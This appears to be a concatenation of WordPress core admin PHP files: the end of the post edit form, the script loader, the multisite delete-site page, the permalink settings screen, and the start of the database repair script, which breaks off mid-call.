		if ( $post_type_object->public
			&& ! ( 'pending' === get_post_status( $post ) && ! current_user_can( $post_type_object->cap->publish_posts ) )
		) {
			$has_sample_permalink = $sample_permalink_html && 'auto-draft' !== $post->post_status;
			?>
	<div id="edit-slug-box" class="hide-if-no-js">
			<?php
			if ( $has_sample_permalink ) {
				echo $sample_permalink_html;
			}
			?>
	</div>
			<?php
		}
endif;
	?>
</div>
	<?php
	wp_nonce_field( 'samplepermalink', 'samplepermalinknonce', false );
	?>
</div><!-- /titlediv -->
	<?php
}
/**
 * Fires after the title field.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_after_title', $post );

if ( post_type_supports( $post_type, 'editor' ) ) {
	$_wp_editor_expand_class = '';
	if ( $_wp_editor_expand ) {
		$_wp_editor_expand_class = ' wp-editor-expand';
	}
	?>
<div id="postdivrich" class="postarea<?php echo $_wp_editor_expand_class; ?>">

	<?php
	wp_editor(
		$post->post_content,
		'content',
		array(
			'_content_editor_dfw' => $_content_editor_dfw,
			'drag_drop_upload'    => true,
			'tabfocus_elements'   => 'content-html,save-post',
			'editor_height'       => 300,
			'tinymce'             => array(
				'resize'                  => false,
				'wp_autoresize_on'        => $_wp_editor_expand,
				'add_unload_trigger'      => false,
				'wp_keep_scroll_position' => ! $is_IE,
			),
		)
	);
	?>
<table id="post-status-info"><tbody><tr>
	<td id="wp-word-count" class="hide-if-no-js">
	<?php
	printf(
		/* translators: %s: Number of words. */
		__( 'Word count: %s' ),
		'<span class="word-count">0</span>'
	);
	?>
	</td>
	<td class="autosave-info">
	<span class="autosave-message">&nbsp;</span>
	<?php
	if ( 'auto-draft' !== $post->post_status ) {
		echo '<span id="last-edit">';
		$last_user = get_userdata( get_post_meta( $post->ID, '_edit_last', true ) );
		if ( $last_user ) {
			printf(
				/* translators: 1: Name of most recent post author, 2: Post edited date, 3: Post edited time. */
				__( 'Last edited by %1$s on %2$s at %3$s' ),
				esc_html( $last_user->display_name ),
				mysql2date( __( 'F j, Y' ), $post->post_modified ),
				mysql2date( __( 'g:i a' ), $post->post_modified )
			);
		} else {
			printf(
				/* translators: 1: Post edited date, 2: Post edited time. */
				__( 'Last edited on %1$s at %2$s' ),
				mysql2date( __( 'F j, Y' ), $post->post_modified ),
				mysql2date( __( 'g:i a' ), $post->post_modified )
			);
		}
		echo '</span>';
	}
	?>
	</td>
	<td id="content-resize-handle" class="hide-if-no-js"><br /></td>
</tr></tbody></table>

</div>
	<?php
}
/**
 * Fires after the content editor.
 *
 * @since 3.5.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'edit_form_after_editor', $post );
?>
</div><!-- /post-body-content -->

<div id="postbox-container-1" class="postbox-container">
<?php

if ( 'page' === $post_type ) {
	/**
	 * Fires before meta boxes with 'side' context are output for the 'page' post type.
	 *
	 * The submitpage box is a meta box with 'side' context, so this hook fires just before it is output.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'submitpage_box', $post );
} else {
	/**
	 * Fires before meta boxes with 'side' context are output for all post types other than 'page'.
	 *
	 * The submitpost box is a meta box with 'side' context, so this hook fires just before it is output.
	 *
	 * @since 2.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'submitpost_box', $post );
}


do_meta_boxes( $post_type, 'side', $post );

?>
</div>
<div id="postbox-container-2" class="postbox-container">
<?php

do_meta_boxes( null, 'normal', $post );

if ( 'page' === $post_type ) {
	/**
	 * Fires after 'normal' context meta boxes have been output for the 'page' post type.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_page_form', $post );
} else {
	/**
	 * Fires after 'normal' context meta boxes have been output for all post types other than 'page'.
	 *
	 * @since 1.5.0
	 *
	 * @param WP_Post $post Post object.
	 */
	do_action( 'edit_form_advanced', $post );
}


do_meta_boxes( null, 'advanced', $post );

?>
</div>
<?php
/**
 * Fires after all meta box sections have been output, before the closing #post-body div.
 *
 * @since 2.1.0
 *
 * @param WP_Post $post Post object.
 */
do_action( 'dbx_post_sidebar', $post );

?>
</div><!-- /post-body -->
<br class="clear" />
</div><!-- /poststuff -->
</form>
</div>

<?php
if ( post_type_supports( $post_type, 'comments' ) ) {
	wp_comment_reply();
}
?>

<?php if ( ! wp_is_mobile() && post_type_supports( $post_type, 'title' ) && '' === $post->post_title ) : ?>
<script type="text/javascript">
try{document.post.title.focus();}catch(e){}
</script>
<?php endif; ?>
<?php

/*
 * Disable error reporting.
 *
 * Set this to error_reporting( -1 ) for debugging.
 */
error_reporting( 0 );

// Set ABSPATH for execution.
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', dirname( __DIR__ ) . '/' );
}

define( 'WPINC', 'wp-includes' );

$protocol = $_SERVER['SERVER_PROTOCOL'];
if ( ! in_array( $protocol, array( 'HTTP/1.1', 'HTTP/2', 'HTTP/2.0', 'HTTP/3' ), true ) ) {
	$protocol = 'HTTP/1.0';
}

$load = $_GET['load'];
if ( is_array( $load ) ) {
	ksort( $load );
	$load = implode( '', $load );
}

$load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load );
$load = array_unique( explode( ',', $load ) );

if ( empty( $load ) ) {
	header( "$protocol 400 Bad Request" );
	exit;
}

require ABSPATH . 'wp-admin/includes/noop.php';
require ABSPATH . WPINC . '/script-loader.php';
require ABSPATH . WPINC . '/version.php';

$expires_offset = 31536000; // 1 year.
$out            = '';

$wp_scripts = new WP_Scripts();
wp_default_scripts( $wp_scripts );
wp_default_packages_vendor( $wp_scripts );
wp_default_packages_scripts( $wp_scripts );

if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) && stripslashes( $_SERVER['HTTP_IF_NONE_MATCH'] ) === $wp_version ) {
	header( "$protocol 304 Not Modified" );
	exit;
}

foreach ( $load as $handle ) {
	if ( ! array_key_exists( $handle, $wp_scripts->registered ) ) {
		continue;
	}

	$path = ABSPATH . $wp_scripts->registered[ $handle ]->src;
	$out .= get_file( $path ) . "\n";
}

header( "Etag: $wp_version" );
header( 'Content-Type: application/javascript; charset=UTF-8' );
header( 'Expires: ' . gmdate( 'D, d M Y H:i:s', time() + $expires_offset ) . ' GMT' );
header( "Cache-Control: public, max-age=$expires_offset" );

echo $out;
exit;
<?php
/**
 * Multisite delete site panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

require_once __DIR__ . '/admin.php';

if ( ! is_multisite() ) {
	wp_die( __( 'Multisite support is not enabled.' ) );
}

if ( ! current_user_can( 'delete_site' ) ) {
	wp_die( __( 'Sorry, you are not allowed to delete this site.' ) );
}

if ( isset( $_GET['h'] ) && '' !== $_GET['h'] && false !== get_option( 'delete_blog_hash' ) ) {
	if ( hash_equals( get_option( 'delete_blog_hash' ), $_GET['h'] ) ) {
		wpmu_delete_blog( get_current_blog_id() );
		wp_die(
			sprintf(
				/* translators: %s: Network title. */
				__( 'Thank you for using %s, your site has been deleted. Happy trails to you until we meet again.' ),
				get_network()->site_name
			)
		);
	} else {
		wp_die( __( 'Sorry, the link you clicked is stale. Please select another option.' ) );
	}
}

$blog = get_site();
$user = wp_get_current_user();

// Used in the HTML title tag.
$title       = __( 'Delete Site' );
$parent_file = 'tools.php';

require_once ABSPATH . 'wp-admin/admin-header.php';

echo '<div class="wrap">';
echo '<h1>' . esc_html( $title ) . '</h1>';

if ( isset( $_POST['action'] ) && 'deleteblog' === $_POST['action'] && isset( $_POST['confirmdelete'] ) && '1' === $_POST['confirmdelete'] ) {
	check_admin_referer( 'delete-blog' );

	$hash = wp_generate_password( 20, false );
	update_option( 'delete_blog_hash', $hash );

	$url_delete = esc_url( admin_url( 'ms-delete-site.php?h=' . $hash ) );

	$switched_locale = switch_to_locale( get_locale() );

	/* translators: Do not translate USERNAME, URL_DELETE, SITENAME, SITEURL: those are placeholders. */
	$content = __(
		"Howdy ###USERNAME###,

You recently clicked the 'Delete Site' link on your site and filled in a
form on that page.

If you really want to delete your site, click the link below. You will not
be asked to confirm again so only click this link if you are absolutely certain:
###URL_DELETE###

If you delete your site, please consider opening a new site here some time in
the future! (But remember that your current site and username are gone forever.)

Thank you for using the site,
All at ###SITENAME###
###SITEURL###"
	);
	/**
	 * Filters the text for the email sent to the site admin when a request to delete a site in a Multisite network is submitted.
	 *
	 * @since 3.0.0
	 *
	 * @param string $content The email text.
	 */
	$content = apply_filters( 'delete_site_email_content', $content );

	$content = str_replace( '###USERNAME###', $user->user_login, $content );
	$content = str_replace( '###URL_DELETE###', $url_delete, $content );
	$content = str_replace( '###SITENAME###', get_network()->site_name, $content );
	$content = str_replace( '###SITEURL###', network_home_url(), $content );

	wp_mail(
		get_option( 'admin_email' ),
		sprintf(
			/* translators: %s: Site title. */
			__( '[%s] Delete My Site' ),
			wp_specialchars_decode( get_option( 'blogname' ) )
		),
		$content
	);

	if ( $switched_locale ) {
		restore_previous_locale();
	}
	?>

	<p><?php _e( 'Thank you. Please check your email for a link to confirm your action. Your site will not be deleted until this link is clicked.' ); ?></p>

	<?php
} else {
	?>
	<p>
	<?php
		printf(
			/* translators: %s: Network title. */
			__( 'If you do not want to use your %s site any more, you can delete it using the form below. When you click <strong>Delete My Site Permanently</strong> you will be sent an email with a link in it. Click on this link to delete your site.' ),
			get_network()->site_name
		);
	?>
	</p>
	<p><?php _e( 'Remember, once deleted your site cannot be restored.' ); ?></p>

	<form method="post" name="deletedirect">
		<?php wp_nonce_field( 'delete-blog' ); ?>
		<input type="hidden" name="action" value="deleteblog" />
		<p><input id="confirmdelete" type="checkbox" name="confirmdelete" value="1" /> <label for="confirmdelete"><strong>
		<?php
			printf(
				/* translators: %s: Site address. */
				__( "I'm sure I want to permanently delete my site, and I am aware I can never get it back or use %s again." ),
				$blog->domain . $blog->path
			);
		?>
		</strong></label></p>
		<?php submit_button( __( 'Delete My Site Permanently' ) ); ?>
	</form>
	<?php
}
echo '</div>';

require_once ABSPATH . 'wp-admin/admin-footer.php';
<?php
/**
 * Permalink Settings Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Permalink Settings' );
$parent_file = 'options-general.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'Permalinks are the permanent URLs to your individual pages and blog posts, as well as your category and tag archives. A permalink is the web address used to link to your content. The URL to each post should be permanent, and never change &#8212; hence the name permalink.' ) . '</p>' .
			'<p>' . __( 'This screen allows you to choose your permalink structure. You can choose from common settings or create custom URL structures.' ) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'permalink-settings',
		'title'   => __( 'Permalink Settings' ),
		'content' => '<p>' . __( 'Permalinks can contain useful information, such as the post date, title, or other elements. You can choose from any of the suggested permalink formats, or you can craft your own if you select Custom Structure.' ) . '</p>' .
			'<p>' . sprintf(
				/* translators: %s: Percent sign (%). */
				__( 'If you pick an option other than Plain, your general URL path with structure tags (terms surrounded by %s) will also appear in the custom structure field and your path can be further modified there.' ),
				'<code>%</code>'
			) . '</p>' .
			'<p>' . sprintf(
				/* translators: 1: %category%, 2: %tag% */
				__( 'When you assign multiple categories or tags to a post, only one can show up in the permalink: the lowest numbered category. This applies if your custom structure includes %1$s or %2$s.' ),
				'<code>%category%</code>',
				'<code>%tag%</code>'
			) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

get_current_screen()->add_help_tab(
	array(
		'id'      => 'custom-structures',
		'title'   => __( 'Custom Structures' ),
		'content' => '<p>' . __( 'The Optional fields let you customize the &#8220;category&#8221; and &#8220;tag&#8221; base names that will appear in archive URLs. For example, the page listing all posts in the &#8220;Uncategorized&#8221; category could be <code>/topics/uncategorized</code> instead of <code>/category/uncategorized</code>.' ) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

$help_sidebar_content = '<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-permalinks-screen/">Documentation on Permalinks Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/customize-permalinks/">Documentation on Using Permalinks</a>' ) . '</p>';

if ( $is_nginx ) {
	$help_sidebar_content .= '<p>' . __( '<a href="https://wordpress.org/documentation/article/nginx/">Documentation on Nginx configuration</a>.' ) . '</p>';
}

$help_sidebar_content .= '<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>';

get_current_screen()->set_help_sidebar( $help_sidebar_content );
unset( $help_sidebar_content );

$home_path           = get_home_path();
$iis7_permalinks     = iis7_supports_permalinks();
$permalink_structure = get_option( 'permalink_structure' );

$index_php_prefix = '';
$blog_prefix      = '';

if ( ! got_url_rewrite() ) {
	$index_php_prefix = '/index.php';
}

/*
 * In a subdirectory configuration of multisite, the `/blog` prefix is used by
 * default on the main site to avoid collisions with other sites created on that
 * network. If the `permalink_structure` option has been changed to remove this
 * base prefix, WordPress core can no longer account for the possible collision.
 */
if ( is_multisite() && ! is_subdomain_install() && is_main_site()
	&& str_starts_with( $permalink_structure, '/blog/' )
) {
	$blog_prefix = '/blog';
}

$category_base = get_option( 'category_base' );
$tag_base      = get_option( 'tag_base' );

$structure_updated        = false;
$htaccess_update_required = false;

if ( isset( $_POST['permalink_structure'] ) || isset( $_POST['category_base'] ) ) {
	check_admin_referer( 'update-permalink' );

	if ( isset( $_POST['permalink_structure'] ) ) {
		if ( isset( $_POST['selection'] ) && 'custom' !== $_POST['selection'] ) {
			$permalink_structure = $_POST['selection'];
		} else {
			$permalink_structure = $_POST['permalink_structure'];
		}

		if ( ! empty( $permalink_structure ) ) {
			$permalink_structure = preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $permalink_structure ) );

			if ( $index_php_prefix && $blog_prefix ) {
				$permalink_structure = $index_php_prefix . preg_replace( '#^/?index\.php#', '', $permalink_structure );
			} else {
				$permalink_structure = $blog_prefix . $permalink_structure;
			}
		}

		$permalink_structure = sanitize_option( 'permalink_structure', $permalink_structure );

		$wp_rewrite->set_permalink_structure( $permalink_structure );

		$structure_updated = true;
	}

	if ( isset( $_POST['category_base'] ) ) {
		$category_base = $_POST['category_base'];

		if ( ! empty( $category_base ) ) {
			$category_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $category_base ) );
		}

		$wp_rewrite->set_category_base( $category_base );
	}

	if ( isset( $_POST['tag_base'] ) ) {
		$tag_base = $_POST['tag_base'];

		if ( ! empty( $tag_base ) ) {
			$tag_base = $blog_prefix . preg_replace( '#/+#', '/', '/' . str_replace( '#', '', $tag_base ) );
		}

		$wp_rewrite->set_tag_base( $tag_base );
	}
}

if ( $iis7_permalinks ) {
	if ( ( ! file_exists( $home_path . 'web.config' )
		&& win_is_writable( $home_path ) ) || win_is_writable( $home_path . 'web.config' )
	) {
		$writable = true;
	} else {
		$writable = false;
	}
} elseif ( $is_nginx || $is_caddy ) {
	$writable = false;
} else {
	if ( ( ! file_exists( $home_path . '.htaccess' )
		&& is_writable( $home_path ) ) || is_writable( $home_path . '.htaccess' )
	) {
		$writable = true;
	} else {
		$writable       = false;
		$existing_rules = array_filter( extract_from_markers( $home_path . '.htaccess', 'WordPress' ) );
		$new_rules      = array_filter( explode( "\n", $wp_rewrite->mod_rewrite_rules() ) );

		$htaccess_update_required = ( $new_rules !== $existing_rules );
	}
}

$using_index_permalinks = $wp_rewrite->using_index_permalinks();

if ( $structure_updated ) {
	$message = __( 'Permalink structure updated.' );

	if ( ! is_multisite() && $permalink_structure && ! $using_index_permalinks ) {
		if ( $iis7_permalinks ) {
			if ( ! $writable ) {
				$message = sprintf(
					/* translators: %s: web.config */
					__( 'You should update your %s file now.' ),
					'<code>web.config</code>'
				);
			} else {
				$message = sprintf(
					/* translators: %s: web.config */
					__( 'Permalink structure updated. Remove write access on %s file now!' ),
					'<code>web.config</code>'
				);
			}
		} elseif ( ! $is_nginx && ! $is_caddy && $htaccess_update_required && ! $writable ) {
			$message = sprintf(
				/* translators: %s: .htaccess */
				__( 'You should update your %s file now.' ),
				'<code>.htaccess</code>'
			);
		}
	}

	if ( ! get_settings_errors() ) {
		add_settings_error( 'general', 'settings_updated', $message, 'success' );
	}

	set_transient( 'settings_errors', get_settings_errors(), 30 ); // 30 seconds.

	wp_redirect( admin_url( 'options-permalink.php?settings-updated=true' ) );
	exit;
}

flush_rewrite_rules();

require_once ABSPATH . 'wp-admin/admin-header.php';
?>
<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form name="form" action="options-permalink.php" method="post">
<?php wp_nonce_field( 'update-permalink' ); ?>

<p>
<?php
printf(
	/* translators: %s: Documentation URL. */
	__( 'WordPress offers you the ability to create a custom URL structure for your permalinks and archives. Custom URL structures can improve the aesthetics, usability, and forward-compatibility of your links. A <a href="%s">number of tags are available</a>, and here are some examples to get you started.' ),
	__( 'https://wordpress.org/documentation/article/customize-permalinks/' )
);
?>
</p>

<?php
if ( is_multisite() && ! is_subdomain_install() && is_main_site()
	&& str_starts_with( $permalink_structure, '/blog/' )
) {
	$permalink_structure = preg_replace( '|^/?blog|', '', $permalink_structure );
	$category_base       = preg_replace( '|^/?blog|', '', $category_base );
	$tag_base            = preg_replace( '|^/?blog|', '', $tag_base );
}

$url_base = home_url( $blog_prefix . $index_php_prefix );

$default_structures = array(
	array(
		'id'      => 'plain',
		'label'   => __( 'Plain' ),
		'value'   => '',
		'example' => home_url( '/?p=123' ),
	),
	array(
		'id'      => 'day-name',
		'label'   => __( 'Day and name' ),
		'value'   => $index_php_prefix . '/%year%/%monthnum%/%day%/%postname%/',
		'example' => $url_base . '/' . gmdate( 'Y/m/d' ) . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/',
	),
	array(
		'id'      => 'month-name',
		'label'   => __( 'Month and name' ),
		'value'   => $index_php_prefix . '/%year%/%monthnum%/%postname%/',
		'example' => $url_base . '/' . gmdate( 'Y/m' ) . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/',
	),
	array(
		'id'      => 'numeric',
		'label'   => __( 'Numeric' ),
		'value'   => $index_php_prefix . '/' . _x( 'archives', 'sample permalink base' ) . '/%post_id%',
		'example' => $url_base . '/' . _x( 'archives', 'sample permalink base' ) . '/123',
	),
	array(
		'id'      => 'post-name',
		'label'   => __( 'Post name' ),
		'value'   => $index_php_prefix . '/%postname%/',
		'example' => $url_base . '/' . _x( 'sample-post', 'sample permalink structure' ) . '/',
	),
);

$default_structure_values = wp_list_pluck( $default_structures, 'value' );

$available_tags = array(
	/* translators: %s: Permalink structure tag. */
	'year'     => __( '%s (The year of the post, four digits, for example 2004.)' ),
	/* translators: %s: Permalink structure tag. */
	'monthnum' => __( '%s (Month of the year, for example 05.)' ),
	/* translators: %s: Permalink structure tag. */
	'day'      => __( '%s (Day of the month, for example 28.)' ),
	/* translators: %s: Permalink structure tag. */
	'hour'     => __( '%s (Hour of the day, for example 15.)' ),
	/* translators: %s: Permalink structure tag. */
	'minute'   => __( '%s (Minute of the hour, for example 43.)' ),
	/* translators: %s: Permalink structure tag. */
	'second'   => __( '%s (Second of the minute, for example 33.)' ),
	/* translators: %s: Permalink structure tag. */
	'post_id'  => __( '%s (The unique ID of the post, for example 423.)' ),
	/* translators: %s: Permalink structure tag. */
	'postname' => __( '%s (The sanitized post title (slug).)' ),
	/* translators: %s: Permalink structure tag. */
	'category' => __( '%s (Category slug. Nested sub-categories appear as nested directories in the URL.)' ),
	/* translators: %s: Permalink structure tag. */
	'author'   => __( '%s (A sanitized version of the author name.)' ),
);

/**
 * Filters the list of available permalink structure tags on the Permalinks settings page.
 *
 * @since 4.9.0
 *
 * @param string[] $available_tags An array of key => value pairs of available permalink structure tags.
 */
$available_tags = apply_filters( 'available_permalink_structure_tags', $available_tags );

/* translators: %s: Permalink structure tag. */
$tag_added = __( '%s added to permalink structure' );
/* translators: %s: Permalink structure tag. */
$tag_removed = __( '%s removed from permalink structure' );
/* translators: %s: Permalink structure tag. */
$tag_already_used = __( '%s (already used in permalink structure)' );
?>
<h2 class="title"><?php _e( 'Common Settings' ); ?></h2>
<p>
<?php
printf(
	/* translators: %s: %postname% */
	__( 'Select the permalink structure for your website. Including the %s tag makes links easy to understand, and can help your posts rank higher in search engines.' ),
	'<code>%postname%</code>'
);
?>
</p>
<table class="form-table permalink-structure" role="presentation">
<tbody>
<tr>
	<th scope="row"><?php _e( 'Permalink structure' ); ?></th>
	<td>
		<fieldset class="structure-selection">
			<legend class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Permalink structure' );
				?>
			</legend>
			<?php foreach ( $default_structures as $input ) : ?>
			<div class="row">
				<input id="permalink-input-<?php echo esc_attr( $input['id'] ); ?>"
					name="selection" aria-describedby="permalink-<?php echo esc_attr( $input['id'] ); ?>"
					type="radio" value="<?php echo esc_attr( $input['value'] ); ?>"
					<?php checked( $input['value'], $permalink_structure ); ?>
				/>
				<div>
					<label for="permalink-input-<?php echo esc_attr( $input['id'] ); ?>">
						<?php echo esc_html( $input['label'] ); ?>
					</label>
					<p>
						<code id="permalink-<?php echo esc_attr( $input['id'] ); ?>">
							<?php echo esc_html( $input['example'] ); ?>
						</code>
					</p>
				</div>
			</div><!-- .row -->
			<?php endforeach; ?>

			<div class="row">
				<input id="custom_selection"
					name="selection" type="radio" value="custom"
					<?php checked( ! in_array( $permalink_structure, $default_structure_values, true ) ); ?>
				/>
				<div>
					<label for="custom_selection"><?php _e( 'Custom Structure' ); ?></label>
					<p>
						<label for="permalink_structure" class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Customize permalink structure by selecting available tags' );
							?>
						</label>
						<span class="code">
							<code id="permalink-custom"><?php echo esc_url( $url_base ); ?></code>
							<input name="permalink_structure" id="permalink_structure"
								type="text" value="<?php echo esc_attr( $permalink_structure ); ?>"
								aria-describedby="permalink-custom" class="regular-text code"
							/>
						</span>
					</p>

					<div class="available-structure-tags hide-if-no-js">
						<div id="custom_selection_updated" aria-live="assertive" class="screen-reader-text"></div>
						<?php if ( ! empty( $available_tags ) ) : ?>
						<fieldset>
							<legend><?php _e( 'Available tags:' ); ?></legend>
							<ul role="list">
							<?php foreach ( $available_tags as $tag => $explanation ) : ?>
								<li>
									<button type="button"
										class="button button-secondary"
										aria-label="<?php echo esc_attr( sprintf( $explanation, $tag ) ); ?>"
										data-added="<?php echo esc_attr( sprintf( $tag_added, $tag ) ); ?>"
										data-removed="<?php echo esc_attr( sprintf( $tag_removed, $tag ) ); ?>"
										data-used="<?php echo esc_attr( sprintf( $tag_already_used, $tag ) ); ?>">
										<?php echo '%' . esc_html( $tag ) . '%'; ?>
									</button>
								</li>
							<?php endforeach; ?>
							</ul>
						</fieldset>
						<?php endif; ?>
					</div><!-- .available-structure-tags -->
				</div>
			</div><!-- .row -->
		</fieldset><!-- .structure-selection -->
	</td>
</tr>
</tbody>
</table>

<h2 class="title"><?php _e( 'Optional' ); ?></h2>
<p>
<?php
printf(
	/* translators: %s: Placeholder that must come at the start of the URL. */
	__( 'If you like, you may enter custom structures for your category and tag URLs here. For example, using <code>topics</code> as your category base would make your category links like <code>%s/topics/uncategorized/</code>. If you leave these blank the defaults will be used.' ),
	$url_base
);
?>
</p>

<table class="form-table" role="presentation">
	<tr>
		<th>
			<label for="category_base">
				<?php /* translators: Prefix for category permalinks. */ _e( 'Category base' ); ?>
			</label>
		</th>
		<td>
			<?php echo $blog_prefix; ?>
			<input name="category_base" id="category_base" type="text"
				value="<?php echo esc_attr( $category_base ); ?>" class="regular-text code"
			/>
		</td>
	</tr>
	<tr>
		<th>
			<label for="tag_base"><?php _e( 'Tag base' ); ?></label>
		</th>
		<td>
			<?php echo $blog_prefix; ?>
			<input name="tag_base" id="tag_base" type="text"
				value="<?php echo esc_attr( $tag_base ); ?>" class="regular-text code"
			/>
		</td>
	</tr>
	<?php do_settings_fields( 'permalink', 'optional' ); ?>
</table>

<?php do_settings_sections( 'permalink' ); ?>

<?php submit_button(); ?>
</form>

<?php if ( ! is_multisite() ) : ?>
	<?php
	if ( $iis7_permalinks ) :
		if ( isset( $_POST['submit'] ) && $permalink_structure && ! $using_index_permalinks && ! $writable ) :
			if ( file_exists( $home_path . 'web.config' ) ) :
				?>
				<p id="iis-description-a">
				<?php
				printf(
					/* translators: 1: web.config, 2: Documentation URL, 3: Ctrl + A, 4: ⌘ + A, 5: Element code. */
					__( '<strong>Error:</strong> Your %1$s file is not <a href="%2$s">writable</a>, so updating it automatically was not possible. This is the URL rewrite rule you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this rule inside of the %5$s element in %1$s file.' ),
					'<code>web.config</code>',
					__( 'https://wordpress.org/documentation/article/changing-file-permissions/' ),
					'<kbd>Ctrl + A</kbd>',
					'<kbd>⌘ + A</kbd>',
					'<code>/&lt;configuration&gt;/&lt;system.webServer&gt;/&lt;rewrite&gt;/&lt;rules&gt;</code>'
				);
				?>
				</p>
				<form action="options-permalink.php" method="post">
					<?php wp_nonce_field( 'update-permalink' ); ?>
					<p>
						<label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br />
						<textarea rows="9" class="large-text readonly"
							name="rules" id="rules" readonly="readonly"
							aria-describedby="iis-description-a"
						><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules() ); ?></textarea>
					</p>
				</form>
				<p>
				<?php
				printf(
					/* translators: %s: web.config */
					__( 'If you temporarily make your %s file writable to generate rewrite rules automatically, do not forget to revert the permissions after the rule has been saved.' ),
					'<code>web.config</code>'
				);
				?>
				</p>
			<?php else : ?>
				<p id="iis-description-b">
				<?php
				printf(
					/* translators: 1: Documentation URL, 2: web.config, 3: Ctrl + A, 4: ⌘ + A */
					__( '<strong>Error:</strong> The root directory of your site is not <a href="%1$s">writable</a>, so creating a file automatically was not possible. This is the URL rewrite rule you should have in your %2$s file. Create a new file called %2$s in the root directory of your site. Click in the field and press %3$s (or %4$s on Mac) to select all. Then insert this code into the %2$s file.' ),
					__( 'https://wordpress.org/documentation/article/changing-file-permissions/' ),
					'<code>web.config</code>',
					'<kbd>Ctrl + A</kbd>',
					'<kbd>⌘ + A</kbd>'
				);
				?>
				</p>
				<form action="options-permalink.php" method="post">
					<?php wp_nonce_field( 'update-permalink' ); ?>
					<p>
						<label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br />
						<textarea rows="18" class="large-text readonly"
							name="rules" id="rules" readonly="readonly"
							aria-describedby="iis-description-b"
						><?php echo esc_textarea( $wp_rewrite->iis7_url_rewrite_rules( true ) ); ?></textarea>
					</p>
				</form>
				<p>
				<?php
				printf(
					/* translators: %s: web.config */
					__( 'If you temporarily make your site&#8217;s root directory writable to generate the %s file automatically, do not forget to revert the permissions after the file has been created.' ),
					'<code>web.config</code>'
				);
				?>
				</p>
			<?php endif; // End if 'web.config' exists. ?>
		<?php endif; // End if $_POST['submit'] && ! $writable. ?>
	<?php else : ?>
		<?php if ( $permalink_structure && ! $using_index_permalinks && ! $writable && $htaccess_update_required ) : ?>
			<p id="htaccess-description">
			<?php
			printf(
				/* translators: 1: .htaccess, 2: Documentation URL, 3: Ctrl + A, 4: ⌘ + A */
				__( '<strong>Error:</strong> Your %1$s file is not <a href="%2$s">writable</a>, so updating it automatically was not possible. These are the mod_rewrite rules you should have in your %1$s file. Click in the field and press %3$s (or %4$s on Mac) to select all.' ),
				'<code>.htaccess</code>',
				__( 'https://wordpress.org/documentation/article/changing-file-permissions/' ),
				'<kbd>Ctrl + A</kbd>',
				'<kbd>⌘ + A</kbd>'
			);
			?>
			</p>
			<form action="options-permalink.php" method="post">
				<?php wp_nonce_field( 'update-permalink' ); ?>
				<p>
					<label for="rules"><?php _e( 'Rewrite rules:' ); ?></label><br />
					<textarea rows="8" class="large-text readonly"
						name="rules" id="rules" readonly="readonly"
						aria-describedby="htaccess-description"
					><?php echo esc_textarea( $wp_rewrite->mod_rewrite_rules() ); ?></textarea>
				</p>
			</form>
		<?php endif; // End if ! $writable && $htaccess_update_required. ?>
	<?php endif; // End if $iis7_permalinks. ?>
<?php endif; // End if ! is_multisite(). ?>

</div><!-- .wrap -->

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
<?php
/**
 * Database Repair and Optimization Script.
 *
 * @package WordPress
 * @subpackage Database
 */
define( 'WP_REPAIRING', true );

require_once dirname( __DIR__, 2 ) . '/wp-load.php';

header( 'Content-Type: text/html; charset=utf-8' );
?>
<!DOCTYPE html>
<html <?php language_attributes(); ?>>
<head>
	<meta name="viewport" content="width=device-width" />
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="robots" content="noindex,nofollow" />
	<title><?php _e( 'WordPress &rsaquo; Database Repair' ); ?></title>
	<?php wp_admin_css( 'install', true ); ?>
</head>
<body class="wp-core-ui">
<p id="logo"><a href="<?php echo esc_url( __( 'https://wordpress.org/' ) ); ?>"><?php _e( 'WordPress' ); ?></a></p>

<?php

if ( ! defined( 'WP_ALLOW_REPAIR' ) || ! WP_ALLOW_REPAIR ) {

	echo '<h1 class="screen-reader-text">' .
		/* translators: Hidden accessibility text. */
		__( 'Allow automatic database repair' ) .
	'</h1>';

	echo '<p>';
	printf(
		/* translators: %s: wp-config.php */
